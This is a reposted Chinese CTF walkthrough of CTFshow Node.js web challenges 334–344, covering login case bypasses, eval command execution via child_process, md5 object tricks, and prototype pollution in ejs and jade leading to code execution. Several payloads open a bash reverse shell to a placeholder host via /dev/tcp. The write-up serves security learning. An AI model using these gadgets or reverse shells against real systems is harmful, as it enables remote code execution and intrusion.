• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

CTFshowWeb入门nodejs

武飞扬头像
L1nYuan
帮助1

web334

大小写绕过

访问环境
学新通

下载附件得到源码,开始审计

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
});

module.exports = router;
学新通

user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

先看路由,在login.js中只有一个路由

router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
});
学新通

提示flag就在这里,但是需要登录成功,这里调用了findUser函数,跟进

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

三个条件,第一个对用户名进行全类型比较,需要不等于CTFSHOW,第二个需要用户名在转为大写之后等于CTFSHOW,第三个是判断密码是否正确,在user.js中提供了账号密码

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

第一种大小写绕过

发送一个大小写的用户名

payload

username=CTFshow&password=123456

第二种JS特性

利用Javascript大小写特性 参考 P神

对于toUpperCase():

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase():

字符"K"经过`toLowerCase`处理后结果为"k"(这个K不是K)
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'

在绕一些规则的时候就可以利用这几个特殊字符进行绕过

payload

ctfſhow 123456   ctfſhow 123456   

web335

node.js命令执行

访问

学新通

查看源码,有提示

学新通

访问/?eval

输入字母提示404找不到文件

学新通

输入数字回显数字

学新通

猜测后端语句为

/?eval=console.log(value) // value 就是我们输入的值

eval可以执行js代码,那我们就可以利用js代码去进行RCE

利用child_process包来构造payload,这是node.js中用来执行系统命令的一个包,其中有多个方法可以用来利用

学新通

利用child_process模块执行命令

execexecSync

这是child_process模块里面最简单的函数,作用就是执行一个固定的系统命令

const { exec } = require('child_process');
// 输出当前目录(不一定是代码所在的目录)下的文件和文件夹
exec('ls -l', (err, stdout, stderr) => {
    if(err) {
        console.log(err);
        return;
    }
    console.log(`stdout: ${stdout}`);
    console.log(`stderr: ${stderr}`);
})

execSyncexec的同步版本,不过无论是execSync还是exec,得到的结果都是字符串或者Buffer对象,一般需要进一步处理。

spawnspawnSync

child_process模块中所有函数都是基于spawnspawnSync函数的来实现的,换句话来说,spawnspawnSync函数的配置是最完全的,其它函数都是对其做了封装和修改

spawn函数原型是这样的:child_process.spawn(command[, args][, options])

学新通

运行 ls -lh /usr、捕获 stdoutstderr 和退出码的示例:

const { spawn } = require('node:child_process');
const ls = spawn('ls', ['-lh', '/usr']);

ls.stdout.on('data', (data) => {
  console.log(`stdout: ${data}`);
});

ls.stderr.on('data', (data) => {
  console.error(`stderr: ${data}`);
});

ls.on('close', (code) => {
  console.log(`child process exited with code ${code}`);
});

payload

//execSync
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('ls').toString();
//spawnSync
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
//IIFE(立即调用函数表达式),js在遇到它之后会立即执行函数
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');

利用fs模块去读文件

学新通

fs模块就是nodejs中一个文件操作模块,可以对文件进行删除增加写入读取操作

//添加文件夹  一次只能创建一个,每次创建的都是路径最后的一个文件,如果一次创建多个会报错
fs.mkdir("./logs",(err) => {
	if(err) throw err;
	console.log("创建成功");
})

//修改文件夹名字
fs.rename("./logs","./log",(err) => {
	if(err) throw err;
	console.log("创建成功");
})

//删除文件夹 如果当前 log 文件夹下还有东西,会删除失败,只能删除空的文件夹
fs.rmdir("./log",(err) => {
	if(err) throw err;
	console.log("删除成功");
})

//读取文件夹
fs.readdir(path.join(__dirname,"./logs"),(err,result) => {
    if(err) throw err;
    console.log(result);
})

//读文件 //导入fs模块
 const fs = require('fs');
 //调用readFile方法,给到文件路径以及成功和失败的值
 fs.readFile('./测试.txt',function(err,data){
     //判断读取是否成功,输出想对应的值
     err == null ? console.log(data.toString()) : console.log("读取失败"   err) ;
 })
学新通

payload

/?eval=require('fs').readdirSync('.') // 查看当前目录
/?eval=require('fs').readFileSync('fl00g.txt') //读取文件

利用拼接绕过命令执行

' ' 要urlencode一下
?eval=var a="require('child_process').ex";var b="ecSync('ls').toString();";eval(a+b); 
?eval=require('child_process')['ex'+'ecSync']('cat f*')

对payload进行拼接操作,可以对一些关键字的过滤进行绕过,

web336

过滤了exec,可以使用spawn或者是读文件同web335一样

web337

考点:md5比较

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
      .update(s)
      .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a flag)===md5(b flag)){
    res.end(flag);
  }else{
    res.render('index',{ msg: 'tql'});
  }

});

module.exports = router;
学新通

关键点

if(a && b && a.length===b.length && a!==b && md5(a flag)===md5(b flag)){
    res.end(flag);
  }

md5比较,跟php很相似,但是还存在一定的差异,php中是a[]=1&b[]=2这样去解,但是这里不一样

//cv yu师傅的代码
a={'x':'1'}
b={'x':'2'}

console.log(a "flag{xxx}")
console.log(b "flag{xxx}")

执行

学新通

两个值都是[object Object]flag{xxx},所以他们的md5值肯定也都是一样的

payload

a[x]=1&b[x]=2
b[]=1&a[]=1

web338

考点:ejs原型污染

没基础必须看!!

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain
https://xz.aliyun.com/t/7184
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype__proto__

关于原型链

在javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法。

例子:

object.prototype.name=value

在javascript,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:

objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

不同对象所生成的原型链如下(部分):

var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
学新通

原型链污染原理

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

开始解题

app.js

var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);

var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');

导入了ejs模板渲染引擎,这个东西经常出现原型污染问题,而且大多都是利用原型污染来RCE,代码审计,先看路由

app.use('/', indexRouter);
app.use('/login', loginRouter);

inedx路由

var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  res.render('index', { title: 'Express' });
});

module.exports = router

没有啥功能,只是一个模板渲染

login路由

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败' JSON.stringify(user)});  
  }
  
  
});

module.exports = router;
学新通

可以看到flag就在这里,要想获得flag,就必须要使secert.ctfshow等于36dboy,当看完上面的文章,再看这里结果已经已经不言而喻了,就是利用原型污染给secret的原型添加一个属性名为ctfshow值为36dboy,这样就符合条件得到flag

现在目的是知道了。该如何修改?在哪里修改?

login.js代码中存在一个copy功能,utils.copy就类似于merge函数,存在原型污染

utils.copy(user,req.body); // req.body 就是用户输入的参数

Payload

{"username":"jiamu","password":"jiamu","__proto__":{"ctfshow":"36dboy"}}

web339

考点:ejs原型污染rce

这题跟上题有两个不一样的区别,第一个就在于login.js中

router.post('/', require('body-parser').json(), function (req, res, next) {
    res.type('html');
    var flag = 'flag_here';
    var secert = {};
    var sess = req.session;
    let user = {};
    utils.copy(user, req.body);
    if (secert.ctfshow === flag) {
        res.end(flag);
    } else {
        return res.json({ret_code: 2, ret_msg: '登录失败'   JSON.stringify(user)});
    }


});

需要secret的值和flag值一样,flag是字符串类型,而且整个代码中,flag并没有参与任何操作,所以这个点已经不能利用了

第二个不一样的是多了一个api.js文件

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

而且里面有个特别可疑的点

res.render('api', { query: Function(query)(query)});

就是这个东西,这个从哪里来的,而且函数参数和函数体都是这个query参数,只要控制了这个query参数就可以很轻松的rce了,那么这题的点应该就是这里了

预期解

变量覆盖污染query参数

跟进copy函数

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);

执行结果

return 123

成功将query参数污染

payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"}}

将payload发送后,访问api路由触发

非预期

利用ejs原型污染rce

参考

https://xz.aliyun.com/t/7075?page=1

在我看来就是:看属性类型,造出一个属性进行闭合

payload

{
  "__proto__": {
    "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
  }
}

payload发送后,访问api路由触发

web340

考点:ejs两层原型污染rce

总体来看,跟上题没有太大区别,只不过需要向上污染两级

login.js

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){ // 向上两层
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

module.exports = router;
学新通

user.userinfo第一层是函数Function,再向上一层是Object对象

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
}
var user = new function(){
    this.userinfo = new function(){ // 向上两层
        this.isVIP = false;
        this.isAdmin = false;
        this.isAuthor = false;
    };
}

body=JSON.parse('{"__proto__": {"__proto__":{"query":"return 123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(user.query)
学新通

输出结果

{ isVIP: false, isAdmin: false, isAuthor: false }
return 123

成功污染

Payload

污染query参数

{
  "__proto__": {
    "__proto__": {
      "query": "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"')"
    }
  }
}

ejs原型污染rce

{
  "__proto__": {
    "__proto__": {
      "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
    }
  }
}

发送后一定要记得,访问api路由触发原型污染

web341

考点:ejs两层原型污染rce

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

module.exports = router;
学新通

还是二层污染rce,这题没有了api.js,二层污染query参数就不能使用了,那就是用ejsrce的原型污染payload

{
  "__proto__": {
    "__proto__": {
      "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
    }
  }
}

发送后,访问任意一个页面触发payload

web342-web343

考点:jade原型链污染

参考连接

https://xz.aliyun.com/t/7025

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

module.exports = router;

学新通

参考文章

https://lonmar.cn/2021/02/22/几个node模板引擎的原型链污染分析/#0x02-jade
https://tari.moe/2021/05/04/ctfshow-nodejs/

payload

{
  "__proto__": {
    "__proto__": {
      "type": "Block",
      "nodes": "",
      "compileDebug": 1,
      "self": 1,
      "line": "global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"
    }
  }
}

打完payload,记得随便访问一个地址,触发payload

web344

考点:nodejs特性

router.get('/', function(req, res, next) {
    res.type('html');
    var flag = 'flag_here';
    if(req.url.match(/8c|2c|\,/ig)){
        res.end('where is flag :)');
    }
    var query = JSON.parse(req.query.query);
    if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
        res.end(flag);
    }else{
        res.end('where is flag. :)');
    }

});

正常输入

?query={"name":"admin","password":"ctfshow","isVIP":true}

但是这里的过滤/8c|2c|\,/ig将逗号还有他的url编码过滤了,尝试绕过

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析

payload

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

nodejs会自动将这个三个拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是"再和c连接起来就是"c,会匹配到正则表达式。

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhggagef
系列文章
更多 icon
同类精品
更多 icon
继续加载